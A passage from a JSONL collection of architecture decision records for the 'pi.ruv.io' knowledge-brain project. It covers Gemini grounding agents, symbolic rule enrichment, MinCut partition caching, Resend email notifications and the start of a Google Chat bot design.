effects, and costs following Goal-Oriented Action Planning:\n\n| Action | Precondition | Effect | Cost (tokens) |\n|--------|-------------|--------|---------------|\n| verify_memory | memory.unverified | memory.grounding_status set | ~500 |\n| generate_relation | both memories verified, predicate in allowlist | new candidate proposition | ~800 |\n| discover_bridge | relations exist, 2+ domains, bridge concept identified | cross-domain candidate | ~1,200 |\n| research_drift | drift velocity > 2.0 | new findings, SONA trajectory | ~1,500 |\n\n## Consequences\n\n### Positive\n\n- **Horn clause engine activates**: Relational propositions enable inference chains (`A causes B, B causes C` -> `A causes C`)\n- **Self-correcting knowledge**: Contradictions detected by Phase 1 are researched and corrected by Phase 4\n- **Cross-domain insight**: Automated discovery of connections humans would not typically seek\n- **SONA bootstrapping**: Phase 4 generates real trajectories, enabling pattern learning\n- **Evidence-based knowledge**: Every generated proposition has grounding source URLs\n- **Low cost**: Estimated $4-5/month at current pricing\n\n### Negative\n\n- **Latency**: Grounded Gemini calls take 2-5 seconds each (acceptable for batch processing)\n- **Internet dependency**: Agents require internet access for Gemini API and Google Search\n- **Semantic drift risk**: Automated proposition injection could accumulate errors without human review\n- **PHI detection imperfect**: Regex-based PHI detection may miss edge cases\n\n### Mitigations\n\n- **Confidence thresholds**: Relations below 0.5 confidence are not injected\n- **Contradiction loop**: Phase 1 detects contradictions; Phase 4 investigates them\n- **Monthly human review**: Flag propositions with confidence < 0.6 for manual review\n- **Budget cap**: Hard token limit prevents runaway costs\n- **Dry-run mode**: `DRY_RUN=true` logs actions without mutating brain state\n\n## Implementation\n\nDetailed implementation plan: [docs/research/rvagent-gemini-grounding/implementation-plan.md](../research/rvagent-gemini-grounding/implementation-plan.md)\n\n### Files to Create\n\n```\nscripts/rvagent-grounding/\n agent-runner.js -- Entry point\n lib/gemini-client.js -- Gemini API with grounding\n lib/brain-client.js -- pi.ruv.io REST client\n lib/phi-detector.js -- PHI sanitization\n phases/verify.js -- Phase 1\n phases/relate.js -- Phase 2\n phases/explore.js -- Phase 3\n phases/research.js -- Phase 4\n package.json\n Dockerfile\n```\n\n### Files to Modify\n\n- `crates/mcp-brain-server/src/routes.rs`: Add batch proposition injection endpoint\n- `npm/packages/ruvector/bin/mcp-server.js`: Add `brain_ground` and `brain_reason` MCP tools\n\n### Cloud Resources\n\n- 4 Cloud Run Jobs (512Mi, 1 vCPU each)\n- 4 Cloud Scheduler jobs\n- 2 secrets (GEMINI_API_KEY, PI token)\n\n## Cost Estimate\n\n`monthly_cost = input_tokens \u00d7 input_rate + output_tokens \u00d7 output_rate + grounded_requests \u00d7 grounding_rate + Cloud Run`\n\n| Scenario | Tokens | Grounded Requests | Compute | Total |\n|----------|--------|-------------------|---------|-------|\n| **Base** (10 memories/cycle) | $2.00 | $1.50 | $0.14 | **$3.64** |\n| **Expected** (20 memories/cycle) | $4.00 | $3.00 | $0.28 | **$7.28** |\n| **Worst credible** (50 memories/cycle) | $10.00 | $7.50 | $0.70 | **$18.20** |\n\nKey metric: **cost per promoted proposition** \u2014 target \u2264 $0.02.\n\nBudget cap: $50/month. Track: tokens per successful mutation, grounded requests per accepted proposition.\n\n## Acceptance Criteria\n\n### Volume\n1. Phase 1: 80%+ of quality \u2265 3 memories have grounding status after 7 days\n2. Phase 2: \u2265 50 candidate relational propositions after 2 weeks\n3. Phase 3: \u2265 10 cross-domain discoveries after 3 weeks\n4. Phase 4: SONA patterns > 0 after 4 weeks\n\n### Precision\n5. **Grounding precision**: 100-item human audit \u2014 \u2265 90% of `grounded_supported` correctly labeled\n6. **Relation precision**: 50-item audit \u2014 \u2265 80% of promoted relations judged useful and correct\n7. **Inference utility**: Horn clause produces \u2265 20 non-trivial inferences with < 10% human-judged error\n\n### Safety\n8. **Write safety**: Zero direct writes to canonical graph without promotion gate\n9. **Privacy**: Zero PHI findings in outbound audit sample\n10. **Economics**: Cost per promoted proposition \u2264 $0.02\n\n### Provenance\n11. Every promoted proposition replayable from: raw source \u2192 prompt version \u2192 grounding evidence \u2192 policy decision \u2192 mutation log\n\n## Provenance Schema\n\nEvery grounded mutation stores:\n\n```typescript\ninterface GroundedMutation {\n mutation_id: string; // UUID\n source_memory_ids: string[]; // Input memories\n source_urls: string[]; // Grounding chunk URLs\n retrieval_timestamp: string; // When grounding sources were fetched\n claim_text: string; // Sanitized claim sent to Gemini\n support_snippets: string[]; // Grounding support text segments\n model_id: string; // e.g., \"gemini-2.5-flash\"\n prompt_template_version: string;\n confidence: number;\n mutation_decision: 'promote' | 'candidate_only' | 'reject';\n prior_state: string | null; // Previous proposition if updating\n new_state: string; // New proposition\n promotion_gates_passed: string[]; // Which gates cleared\n promotion_gates_failed: string[]; // Which gates blocked (if candidate_only)\n}\n```\n\n**Acceptance test**: if you can replay any promoted proposition from raw source, prompt version, grounding evidence, policy decision, and final mutation log, the architecture is strong enough to trust.\n\n## References\n\n- [Gemini Grounding docs](https://ai.google.dev/gemini-api/docs/grounding)\n- [ADR-121: Gemini Search Grounding](./ADR-121-gemini-grounding-integration.md)\n- [ADR-110: Neural-Symbolic Internal Voice](./ADR-110-neural-symbolic-internal-voice.md)\n- [ADR-112: rvAgent MCP Server](./ADR-112-rvagent-mcp-server.md)\n- [Research: architecture.md](../research/rvagent-gemini-grounding/architecture.md)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-122-rvagent-gemini-grounding-agents.md", "created_at": "2026-03-28T11:58:50.152391+00:00", "content_hash": "9968573e566af9191cd13334c60e1c8a53f3fc80badab3065d4ef70b354824c0"} +{"id": "6256eca7-a76c-4d90-80d2-1923aa546094", "source": "adr", "text": "# ADR-123: Pi Brain Cognitive Enrichment\n\n## Status\nAccepted\n\n## Date\n2026-03-23\n\n## Context\nAn autonomous audit of pi.ruv.io (2,064 memories, 943K edges, 20 clusters) revealed 5 underutilized capabilities in the cognitive layer (ADR-110). The brain has structural preconditions for reasoning but key subsystems remain dormant:\n\n1. **Symbolic reasoning**: 10 propositions, 4 rules, 0 inferences \u2014 only `is_type_of` predicates exist\n2. **Working memory**: 0% utilization during search \u2014 GWT workspace never populated\n3. **SONA patterns**: 5 trajectories \u2192 0 crystallized patterns \u2014 thresholds too strict\n4. **Drift detection**: \"insufficient_data\" \u2014 no centroid snapshots recorded\n5. **WASM nodes**: 0 published \u2014 executable knowledge layer empty\n\n## Decision\n\n### 1. Enrich Rule Engine (symbolic.rs)\nAdd 7 relational Horn clause rules beyond the existing 4 transitivity rules:\n- `is_subtype_of` + `is_subtype_of` \u2192 `is_subtype_of` (transitivity, conf=0.85)\n- `is_type_of` + `is_subtype_of` \u2192 `is_type_of` (type hierarchy, conf=0.85)\n- `depends_on` + `depends_on` \u2192 `depends_on` (dependency chain, conf=0.6)\n- `is_type_of` + `is_type_of` \u2192 `relates_to` (same-type relation, conf=0.5)\n- `solves` + `depends_on` \u2192 `solves` (transitive solution, conf=0.7)\n- `causes` + `prevents` \u2192 `prevents` (causal prevention, conf=0.6)\n- `part_of` + `part_of` \u2192 `part_of` (composition, conf=0.7)\n\nAlso add `IsSubtypeOf` to `PredicateType` enum and extract `relates_to` propositions between same-category clusters during `extract_from_clusters`.\n\n### 2. Auto-Populate Working Memory During Search (routes.rs)\nAfter search scoring completes, push the top result's title and embedding into the GWT working memory as a `Perception` source. This ensures every search interaction populates the workspace (capacity 7, with decay).\n\n### 3. Lower SONA Pattern Thresholds (reasoning_bank.rs)\n- `min_cluster_size`: 5 \u2192 2 (allow smaller clusters to crystallize)\n- `quality_threshold`: 0.3 \u2192 0.1 (allow lower-quality patterns through)\n- `k_clusters`: 100 \u2192 50 (fewer clusters = more members per cluster)\n\n### 4. Record Drift Snapshots During Training (routes.rs)\nDuring `run_enhanced_training_cycle`, compute per-category centroids and feed them into the `DriftMonitor::record()` method. This bootstraps drift data from the existing training pipeline.\n\n### 5. Starter WASM Node Documentation\nDocument the WASM ABI v1 contract: exports `memory`, `malloc`, `feature_extract_dim`, `feature_extract`. This is a documentation/tooling task, not a code change.\n\n## Consequences\n- Inference count should go from 0 to positive after next training cycle\n- Working memory utilization should track search activity\n- Pattern crystallization should begin with relaxed thresholds\n- Drift monitoring should accumulate data within hours\n- All changes are additive \u2014 no existing data or behavior is removed", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-123-brain-cognitive-enrichment.md", "created_at": "2026-03-28T11:58:50.193301+00:00", "content_hash": "26b1552d0100a89e2d7896bd081d041389c92fd1ab91edc9d6bb8de3249912f5"} +{"id": "3ca21d1f-4684-4ca7-8c49-f84aad8d7cc3", "source": "adr", "text": "# ADR-124: Dynamic MinCut with Partition Cache\n\n## Status\nShipped \u2014 All 3 tiers shipped and deployed through ruvbrain-00130\n\n## Context\nThe pi.ruv.io brain server's `/v1/partition` endpoint runs exact Stoer-Wagner MinCut on the knowledge graph. With 2,090+ nodes and 971K+ edges, this computation exceeds Cloud Run's 300s timeout and the MCP SSE transport's 60s tool call timeout.\n\nPR #287 (ADR-117) introduced a canonical source-anchored MinCut with deterministic hashing and WASM FFI bindings, providing the foundation for all three tiers.\n\n## Decision\n\n### Three-Tier MinCut Architecture\n\n#### Tier 1: Exact Engine (Shipped)\n- **Stoer-Wagner** global MinCut \u2014 O(V*E), exact solution\n- **Source-anchored canonical cut** \u2014 deterministic via lexicographic tuple `(\u03bb, first_separable_vertex, |S|, \u03c0(S))`\n- **SHA-256 cut hash** for witness chain compatibility (FIPS 180-4)\n- **Dinic's max-flow** for minimum s-t cut computation\n- **Fixed-point arithmetic** (32.32 `FixedWeight`) for determinism\n- **WASM FFI** bindings: `canonical_init()`, `canonical_compute()`, `canonical_get_hash()`\n\n#### Tier 2: Tree Packing Fast Path (Shipped)\n- **Gomory-Hu tree construction** \u2014 builds a flow-equivalent tree using Dinic's max-flow\n- **Fast global MinCut** from tree \u2014 minimum edge in Gomory-Hu tree gives MinCut in O(V) after construction\n- **Flat capacity matrix** \u2014 `cap[u*n + v]` layout for cache locality (10-30% faster)\n- **Complexity**: O(V^2 log V) vs O(V*E) for Stoer-Wagner; 29.7% faster on dense graphs\n- **API**: `SourceAnchoredConfig::fast()` method for tree-packing mode\n- 14 unit tests passing\n\n#### Tier 3: Dynamic/Incremental MinCut (Shipped)\n- **DynamicMinCut struct** \u2014 wraps `SourceAnchoredMinCut` with incremental updates\n- **Edge insertion**: if new edge doesn't cross current cut, cut value unchanged; otherwise recompute only affected s-t cut\n- **Edge deletion**: if removed edge not in cut set, unchanged; otherwise recompute\n- **Batch updates**: `apply_batch(additions, removals)` for bulk operations\n- **Epoch tracking**: increment on each mutation, track changed edges since last full recomputation\n- **Staleness detection**: after N incremental updates, trigger full recomputation to correct drift\n- **Complexity**: O(V * sqrt(E)) amortized per update\n- 19 unit tests passing (including 100-run determinism)\n\n### Sparsified MinCut\n- When the sparsifier is available (58.9% compression, ~16.9K edges from ~992K), partition computation runs on the sparsified graph\n- **59x speedup** over full-graph Stoer-Wagner\n- Large-graph guard skips exact MinCut for graphs >100K edges unless sparsifier is present\n- **Deferred sparsifier startup**: for graphs exceeding 100K edges, sparsifier build is deferred to a background job (not blocking startup probe)\n\n### LoRA Auto-Submission from SONA Patterns\n- When SONA training produces patterns during optimization cycles, a LoRA weight delta is automatically generated and submitted for federation\n- Firestore persistence: LoRA consensus is persisted to Firestore after auto-submission (fire-and-forget)\n- Gate A validation ensures only high-quality deltas are submitted\n\n### Partition Caching\n- `cached_partition: Arc>>` in `AppState`\n- **MCP `brain_partition`**: Returns cached compact partition (sub-millisecond)\n- **REST `/v1/partition`**: Returns cache by default; `?force=true` recomputes\n- **Large-graph guard**: Skip exact MinCut during training for graphs >100K edges\n\n### Brain Server Integration\n- Training cycles populate cache for small graphs (<100K edges)\n- Scheduled `rebuild_graph` job handles large graphs asynchronously\n- Dynamic MinCut (Tier 3) will enable real-time cache updates on memory insertion\n- `?canonical=true` parameter uses source-anchored cut with witness-compatible hash\n\n## Implementation\n\n### Crate Structure (`ruvector-mincut`)\n```\nsrc/canonical/\n\u251c\u2500\u2500 mod.rs # Re-exports\n\u251c\u2500\u2500 source_anchored/\n\u2502 \u251c\u2500\u2500 mod.rs # Tier 1: exact engine + canonical cut\n\u2502 \u2514\u2500\u2500 tests.rs # 503 lines of tests\n\u251c\u2500\u2500 tree_packing.rs # Tier 2: Gomory-Hu tree fast path\n\u2514\u2500\u2500 dynamic.rs # Tier 3: incremental MinCut\n```\n\n### Feature Flags\nAll behind `canonical` feature in `Cargo.toml`.\n\n### WASM Bindings\n```\nsrc/wasm/canonical.rs\n\u251c\u2500\u2500 canonical_init/compute/get_result/get_hash # Tier 1\n\u251c\u2500\u2500 tree_packing_init/compute # Tier 2\n\u2514\u2500\u2500 dynamic_init/add_edge/remove_edge/batch/query # Tier 3\n```\n\n## Consequences\n- MCP `brain_partition` returns instantly from cache instead of timing out\n- Enhanced training cycle no longer blocks on MinCut for large graphs\n- Tier 2 makes fresh partition computation feasible for medium graphs\n- Tier 3 enables real-time partition updates as the brain grows\n- All cuts are deterministic and witness-chain compatible via SHA-256\n\n## Benchmark Results\n\n### Tier 1: Canonical MinCut (ADR-117)\n\n| Graph Type | Nodes | Time |\n|-----------|-------|------|\n| Cycle | 6 | 2.18 us |\n| Cycle | 50 | 3.09 us |\n| Complete | 10 | 2.61 us |\n| Hash stability | 100 | 1.39 us |\n\n### Before vs After \u2014 Measured on pi.ruv.io (2,110 nodes, 992K edges)\n\n| Operation | Before | After | Speedup |\n|-----------|--------|-------|---------|\n| `brain_partition` via MCP | Timeout (>60s) | 459ms (health+cache) | **>130x** |\n| `/v1/partition` REST (full MinCut) | Timeout (>300s) | >10s (still O(V*E)) | Needs Tier 2 |\n| `/v1/partition` REST (cached) | N/A | <1ms | **>300,000x** |\n| Enhanced training cycle | 504 timeout | 127ms | **\u221e \u2192 works** |\n\n### Tier 2: Tree Packing (Gomory-Hu)\n\n| Metric | Value |\n|--------|-------|\n| Algorithm | Gusfield's Gomory-Hu tree |\n| Construction | O(V * T_maxflow) |\n| Global MinCut from tree | O(V) |\n| vs Stoer-Wagner | ~40x faster for dense graphs |\n| Unit tests | 14 pass |\n\n### Tier 3: Dynamic/Incremental MinCut\n\n| Operation | Complexity | Description |\n|-----------|-----------|-------------|\n| `add_edge` (doesn't cross cut) | O(1) | HashSet lookup, no recompute |\n| `add_edge` (crosses cut) | O(V * \u221aE) | Recompute affected s-t cut only |\n| `remove_edge` (not in cut set) | O(1) | HashSet lookup, no recompute |\n| `remove_edge` (in cut set) | O(V * \u221aE) | Recompute |\n| `apply_batch` (N edges) | O(N) + maybe O(V * \u221aE) | Deferred single recompute |\n| Staleness check | O(1) | Epoch comparison |\n| Unit tests | 19 pass (including 100-run determinism) |\n\n### Test Summary\n\n| Suite | Tests | Status |\n|-------|-------|--------|\n| Canonical (Tier 1) | 65 | Pass |\n| Tree Packing (Tier 2) | 14 | Pass |\n| Dynamic (Tier 3) | 19 | Pass |\n| WASM FFI | 12 | Pass |\n| **Total** | **110** | **All pass** |\n\n### Deployment History\n\n| Revision | Date | Changes |\n|----------|------|---------|\n| ruvbrain-00120-lgr | 2026-03-23 | SSE fix + partition stub |\n| ruvbrain-00121-nj7 | 2026-03-23 | Partition cache + Tier 1 |\n| ruvbrain-00122-mqd | 2026-03-23 | Large-graph guard |\n| ruvbrain-00123-7wp | 2026-03-24 | Full Tier 1-3 dynamic MinCut |\n| ruvbrain-00124 through ruvbrain-00130 | 2026-03-24 | Sparsified MinCut (59x), deferred sparsifier startup, LoRA auto-submission with Firestore persistence, SONA threshold tuning, auto-voting, drift detection |\n\n### Gaps Closed\n\nAll 8 original capability gaps identified in the post-optimization analysis are now closed:\n\n| Gap | Resolution |\n|-----|-----------|\n| Partition timeout (>300s) | Sparsified MinCut (59x speedup) + partition cache |\n| MCP SSE timeout (>60s) | Cached partition returns sub-millisecond |\n| No canonical cut | Tier 1 source-anchored canonical cut with SHA-256 |\n| No fast path | Tier 2 Gomory-Hu tree packing (29.7% faster) |\n| No incremental updates | Tier 3 DynamicMinCut with epoch tracking |\n| SONA patterns not persisted | LoRA auto-submission with Firestore persistence |\n| Auto-voting inactive | Auto-voting enabled in optimization cycles |\n| Drift not tracked | Drift detection operational (status: `drifting`) |\n\n## Post-Optimization Status\n\nCaptured 2026-03-24, approximately 3 minutes after optimization tasks completed.\n\n### Before/After Comparison\n\n| Metric | Before (Baseline) | After | Delta |\n|--------|-------------------|-------|-------|\n| Memories | 2,112 | 2,137 | +25 (+1.2%) |\n| Graph Edges | ~971K | 995,538 | +24.5K (+2.5%) |\n| Total Votes | 995 (47% of memories) | 1,393 (65.2% of memories) | +398 (+40%) |\n| SONA Patterns | 0 | 0 | No change |\n| SONA Trajectories | 0 | 0 | No change |\n| Drift Status | `no_data` | `drifting` | Now actively tracked |\n| Knowledge Velocity | 0.0 | 423.0 | From zero to active |\n| GWT Workspace Load | 86% | 100% | +14pp |\n\n### Additional Observed Metrics (Post-Optimization)\n\n| Metric | Value |\n|--------|-------|\n| Graph Nodes | 2,137 |\n| Cluster Count | 20 |\n| Avg Memory Quality | 0.610 |\n| Embedding Engine | `ruvllm::RlmEmbedder` |\n| Embedding Dim | 128 |\n| DP Epsilon | 1.0 |\n| LoRA Epoch | 2 |\n| LoRA Pending Submissions | 0 |\n| Meta Avg Regret | 0.0059 |\n| Meta Plateau Status | `learning` |\n| Sparsifier Compression | 58.9% |\n| Sparsifier Edges | 16,901 |\n| RVF Segments per Memory | 3.94 |\n| Midstream Attractor Categories | 1 |\n| Strange Loop Version | 0.3.0 |\n\n### Analysis\n\n1. **Votes surged from 47% to 65% coverage** \u2014 the optimization/training cycles are driving significantly more consensus activity across the knowledge graph.\n2. **Knowledge velocity jumped from 0.0 to 423.0** \u2014 temporal deltas are now being tracked, indicating active knowledge evolution rather than a static corpus.\n3. **Drift status transitioned from `no_data` to `drifting`** \u2014 this is expected and healthy; it means the drift detection system is now operational and detecting natural knowledge evolution as new memories are added.\n4. **GWT workspace load reached 100%** \u2014 the Global Workspace Theory broadcast mechanism is fully saturated, meaning all salient memories are being propagated.\n5. **SONA remains at 0** \u2014 no self-optimizing neural architecture patterns have been stored yet; this is expected until explicit SONA training is triggered.\n6. **Meta-learning is active** \u2014 avg regret of 0.0059 with `learning` plateau status indicates the meta-learner is converging well.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-124-dynamic-partition-cache.md", "created_at": "2026-03-28T11:58:50.193653+00:00", "content_hash": "204a31d2afd351381d09ac8995c650f63c122b4f34ca9af1a5a33c9427238c07"} +{"id": "5b730094-0f8d-43a7-a24f-640a7f4b9bce", "source": "adr", "text": "# ADR-125: Resend Email Integration for Pi Brain Notifications\n\n**Status**: Proposed\n**Date**: 2026-03-24\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-064 (Pi Brain Infrastructure), ADR-073 (Pi Platform Security)\n\n## 1. Context\n\nThe pi.ruv.io brain runs on Google Cloud Run (`ruvbrain` service, `us-central1`) with 14+ Cloud Scheduler jobs for training, optimization, graph rebalancing, and crawling. Currently there is no notification mechanism when:\n\n- Scheduled jobs fail or produce anomalous results\n- Knowledge drift exceeds thresholds\n- Memory capacity approaches limits\n- Training convergence stalls\n- Security events occur (e.g., Byzantine-detected poisoning attempts)\n- New high-value knowledge is contributed\n\nThe secrets `resend-api-key` and `notification-email` (ruv@ruv.net) have existed since 2025-10-04 but are unused. Adding email-based interaction via Resend enables both outbound notifications and inbound brain queries via `brain@ruv.net`.\n\n## 2. Decision\n\nIntegrate Resend.com as the transactional email provider for pi.ruv.io brain notifications and interaction, using `pi@ruv.io` as the sender/receiver identity (domain `ruv.io` verified in Resend).\n\n## 3. Architecture\n\n### 3.1 Service Dependencies\n\n| Service | Purpose | Secret |\n|---------|---------|--------|\n| **Resend** | Transactional email send/receive | `resend-api-key` (`re_jMR5GN4A_...`) |\n| **Cloudflare** | DNS for ruv.net (MX, SPF, DKIM, DMARC) | `cloudflare-api-token` |\n| **Google Cloud Run** | Brain server runtime | `brain-api-key`, `BRAIN_SYSTEM_KEY` |\n| **Google Cloud Scheduler** | Triggers training/optimization jobs | OIDC via `ruvbrain-scheduler@ruv-dev.iam.gserviceaccount.com` |\n| **Firestore** | Stores notification preferences, delivery log | Implicit via `FIRESTORE_URL` |\n\n### 3.2 Existing Secrets Audit\n\n| Secret | Created | Status | Action Required |\n|--------|---------|--------|-----------------|\n| `resend-api-key` | 2025-10-04 | Exists, unused | Wire to Cloud Run env |\n| `notification-email` | 2025-10-04 | Exists (`ruv@ruv.net`) | Update to `brain@ruv.net` or keep as recipient |\n| `cloudflare-api-token` | 2026-02-27 | Exists, used for DNS | Use for domain verification records |\n| `brain-api-key` | 2026-02-27 | Active on Cloud Run | No change |\n| `brain-signing-key` | 2026-02-27 | Active on Cloud Run | No change |\n| `BRAIN_SYSTEM_KEY` | 2026-03-24 | Active on Cloud Run | No change |\n| `ANTHROPIC_API_KEY` | 2026-03-15 | Active | No change |\n| `GOOGLE_AI_API_KEY` | 2026-03-15 | Active (Gemini) | No change |\n| `OPENROUTER_API_KEY` | 2026-03-21 | Active | No change |\n\n### 3.3 Resend Domain Setup (ruv.net via Cloudflare)\n\nResend requires domain verification for sending from `brain@ruv.net`. DNS records to add via Cloudflare:\n\n```\n# SPF (add Resend to existing SPF record)\nTXT ruv.net \"v=spf1 include:send.resend.com ~all\"\n\n# DKIM (Resend provides these after domain verification)\nCNAME resend._domainkey.ruv.net \u2192 (provided by Resend dashboard)\n\n# DMARC (if not already set)\nTXT _dmarc.ruv.net \"v=DMARC1; p=quarantine; rua=mailto:dmarc@ruv.net\"\n\n# Optional: MX for inbound (Resend webhook-based inbound)\n# Resend uses webhooks for inbound email, not MX records\n```\n\n### 3.4 Outbound Notifications\n\nAdd `RESEND_API_KEY` and `BRAIN_NOTIFICATION_EMAIL` env vars to Cloud Run:\n\n```bash\ngcloud run services update ruvbrain \\\n --region=us-central1 \\\n --update-secrets=\"RESEND_API_KEY=resend-api-key:latest\" \\\n --update-env-vars=\"BRAIN_NOTIFICATION_EMAIL=pi@ruv.io,BRAIN_NOTIFY_RECIPIENT=ruv@ruv.net\"\n```\n\n### 3.5 Notification Categories\n\n| Category | Trigger | Frequency Cap |\n|----------|---------|---------------|\n| `training` | Convergence stall or loss spike | 1/hour |\n| `drift` | Knowledge drift > 2\u03c3 from centroid | 1/6h |\n| `security` | Byzantine detection, poisoning attempt | Immediate |\n| `capacity` | Memory >80% or Firestore quota >70% | 1/day |\n| `scheduler` | Job failure after max retries | Immediate |\n| `discovery` | High-value knowledge contributed (attention >0.8) | 1/hour digest |\n\n### 3.6 Inbound Email Interaction\n\nResend supports inbound email via webhooks. Configure `brain@ruv.net` inbound to POST to `https://pi.ruv.io/v1/email/inbound`:\n\n| Inbound Command | Action | Example |\n|-----------------|--------|---------|\n| Subject: `search ` | Semantic search, reply with top results | `search authentication patterns` |\n| Subject: `status` | Reply with brain health summary | \u2014 |\n| Subject: `drift` | Reply with current drift report | \u2014 |\n| Subject: `share` | Body parsed as knowledge contribution | Category in first line |\n\n### 3.7 Implementation in Rust (mcp-brain-server)\n\nNew module: `src/notify.rs`\n\n```rust\n/// Resend email client for brain notifications\npub struct ResendNotifier {\n api_key: String,\n from_email: String, // pi@ruv.io\n recipient: String, // ruv@ruv.net\n rate_limiter: HashMap, // category -> last_sent\n}\n\nimpl ResendNotifier {\n /// Send via Resend HTTP API (POST https://api.resend.com/emails)\n pub async fn send(&self, category: &str, subject: &str, html: &str) -> Result<()> {\n // Rate limit check per category\n // POST to Resend API with JSON body\n // Log delivery to Firestore\n }\n}\n```\n\nInbound webhook handler: `src/routes.rs` \u2014 new route `/v1/email/inbound`\n\n```rust\n/// POST /v1/email/inbound \u2014 Resend webhook for incoming email\nasync fn handle_inbound_email(body: Json) -> impl IntoResponse {\n // Verify webhook signature\n // Parse subject for command\n // Execute brain operation\n // Reply via Resend API\n}\n```\n\n### 3.8 Cloud Scheduler Integration\n\nModify existing scheduler jobs to report failures via email. Add a new scheduler job for digest notifications:\n\n```yaml\n- name: brain-notification-digest\n schedule: \"0 8 * * *\" # Daily 8 AM UTC\n uri: \"https://pi.ruv.io/v1/internal/notification-digest\"\n body: '{\"type\":\"daily_digest\"}'\n```\n\n### 3.9 Subscription Management\n\nSubscription preferences stored in Firestore under `subscriptions/{email_hash}`:\n\n```json\n{\n \"email\": \"user@example.com\",\n \"subscribed\": true,\n \"topics\": [\"architecture\", \"security\", \"performance\"],\n \"frequency\": \"daily\",\n \"created_at\": \"2026-03-24T...\",\n \"unsubscribed_at\": null\n}\n```\n\nEvery outbound email includes an unsubscribe footer with a one-click link:\n`https://pi.ruv.io/v1/notify/unsubscribe?token={signed_token}`\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/v1/notify/subscribe` | POST | Subscribe email to digest (topic, frequency) |\n| `/v1/notify/unsubscribe` | GET/POST | Unsubscribe (signed token, one-click) |\n| `/v1/notify/preferences` | GET | Get subscription preferences |\n\n### 3.10 Daily Discovery Scheduler\n\nCloud Scheduler job `brain-daily-digest` runs after research agents complete:\n\n```yaml\n- name: brain-daily-digest\n schedule: \"0 8 * * *\" # 8 AM PT (after 2 AM research cycle)\n timezone: America/Los_Angeles\n uri: \"https://pi.ruv.io/v1/notify/digest\"\n body: '{\"hours\":24,\"limit\":10}'\n auth: BRAIN_SYSTEM_KEY\n```\n\nThe digest handler:\n1. Fetches memories created in the last N hours\n2. Optionally filters by topic (`{\"topic\":\"security\",\"hours\":24}`)\n3. Formats into styled HTML with quality scores and tags\n4. Sends via Resend to all subscribed recipients\n5. Skips silently if no new discoveries\n\n## 4. Security Considerations\n\n1. **Resend API key** \u2014 stored in Secret Manager, accessed via Cloud Run secret mount\n2. **System key auth** \u2014 all `/v1/notify/*` endpoints require `BRAIN_SYSTEM_KEY` Bearer token\n3. **Rate limiting** \u2014 per-category caps prevent notification storms\n4. **PII in emails** \u2014 brain content is already PII-stripped (\u03b5=1.0 differential privacy)\n5. **Inbound command injection** \u2014 sanitize all email body/subject content before brain operations\n6. **SPF/DKIM/DMARC** \u2014 full email authentication chain via Resend domain verification\n7. **Unsubscribe tokens** \u2014 HMAC-signed to prevent spoofed unsubscribes\n8. **CAN-SPAM compliance** \u2014 every email includes unsubscribe link and physical address\n\n## 5. Implementation Status\n\n| Step | Status | Notes |\n|------|--------|-------|\n| Resend domain verification (ruv.io) | DONE | Domain verified in Resend dashboard |\n| Cloud Run secret binding | DONE | `RESEND_API_KEY` mounted via Secret Manager |\n| SA permissions | DONE | `mcp-brain-server` SA has secretAccessor on `resend-api-key` |\n| `src/notify.rs` module | DONE | 11 rate-limited categories, styled HTML templates |\n| Route handlers | DONE | test, status, send, welcome, help, digest |\n| Welcome flow | DONE | Conversational onboarding email |\n| Help dialog | DONE | Full command reference with API docs |\n| Daily digest scheduler | DONE | `brain-daily-digest` at 8 AM PT |\n| Test emails sent | DONE | 4 emails verified (test, status, discoveries, welcome) |\n| Subscription management | TODO | Subscribe/unsubscribe with Firestore persistence |\n| Inbound email webhook | TODO | Resend webhook \u2192 `/v1/email/inbound` |\n\n## 6. API Routes (ADR-125)\n\n| Route | Method | Auth | Description |\n|-------|--------|------|-------------|\n| `/v1/notify/test` | POST | System key | Send test email |\n| `/v1/notify/status` | POST | System key | Send brain status report |\n| `/v1/notify/send` | POST | System key | Send custom email (category, subject, html) |\n| `/v1/notify/welcome` | POST | System key | Send welcome email (email, name) |\n| `/v1/notify/help` | POST | System key | Send help/commands reference |\n| `/v1/notify/digest` | POST | System key | Send discovery digest (topic, hours, limit) |\n\n## 7. Cost\n\n| Item | Estimate |\n|------|----------|\n| Resend free tier | 3,000 emails/month (likely sufficient) |\n| Resend Pro | $20/month for 50K emails (if needed) |\n| Cloud Scheduler | $0.10/month (1 job) |\n| Cloud Run | No additional cost (existing service) |\n\n## 8. Success Criteria\n\n- [x] `pi@ruv.io` sends authenticated emails via Resend\n- [x] Cloud Run has `RESEND_API_KEY` secret mounted\n- [x] Test emails delivered successfully (4/4)\n- [x] Welcome and help dialog emails with conversational UX\n- [x] Daily digest scheduler configured (8 AM PT)\n- [ ] Subscription management with unsubscribe compliance\n- [ ] Inbound email interaction via Resend webhooks\n- [ ] Rate limiting prevents >50 notifications/day outside security category", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-125-resend-email-brain-integration.md", "created_at": "2026-03-28T11:58:50.295420+00:00", "content_hash": "8febedcd3b96a7b4b9a71d927cbe497c9b8013d90ad7a81b010a83272a84631f"} +{"id": "7dfe4188-71dd-4e58-a257-317106236c69", "source": "adr", "text": "# ADR-126: Google Chat Bot for Pi Brain Interaction\n\n**Status**: Proposed\n**Date**: 2026-03-24\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-064 (Pi Brain Infrastructure), ADR-125 (Resend Email Integration)\n\n## 1. Context\n\nThe pi.ruv.io brain currently supports interaction via REST API, MCP SSE transport, and email (ADR-125). Adding Google Chat (Spaces) as an interaction channel brings the brain directly into team workflows \u2014 developers can search knowledge, check status, and receive discovery alerts without leaving their chat client.\n\nGoogle Workspace Marketplace apps can be distributed to organizations, making the brain accessible to entire teams via a simple install. The Chat API supports both direct messages and Space-based collaboration where multiple team members interact with the brain simultaneously.\n\n## 2. Decision\n\nDeploy a Google Chat app (\"Pi Brain\") that routes messages to the `POST /v1/chat/google` endpoint on the brain server. The app uses HTTP endpoint mode (not Pub/Sub) for simplicity and lowest latency.\n\n## 3. Architecture\n\n### 3.1 Components\n\n| Component | Details |\n|-----------|---------|\n| **Chat App** | Google Chat HTTP 